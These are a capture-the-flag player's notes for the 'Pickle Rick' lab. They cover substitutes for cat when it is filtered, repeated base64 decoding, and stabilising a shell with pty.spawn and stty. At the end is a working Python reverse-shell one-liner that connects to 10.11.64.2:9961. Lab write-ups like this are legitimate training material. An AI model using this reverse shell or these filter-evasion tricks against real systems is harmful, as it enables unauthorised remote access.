Pickle Rick CTF [notes]
other way to do : cat [file.txt] or any file:
1. head clue.txt
2. dir
3. echo < [file.txt]
4. while read line; do echo $line; done < [file.txt]
5. grep -R .
6. grep . [file.txt]
7. more
8. tail
--------------------------------------------------------------------------------
base64 can be recursive, therefore keep doing: | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
--------------------------------------------------------------------------------
getting a stable shell:
- python3 -c 'import pty; pty.spawn("/bin/bash")'
- CTRL z
- stty raw -echo
- fg
- export TERM=xterm
bash script :
#!/bin/bash
source "/opt/pmp/functions.sh"
hide_guake
call_cmd "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
ctrl Z
call_cmd "stty raw -echo"
call_cmd "fg"
call_cmd "export TERM=xterm"
(using guake terminal)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.64.2",9961));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-----------------------------------------------------------------------------------------------------------------------------
Thanks for reading!
Roger - Ozz961
Comments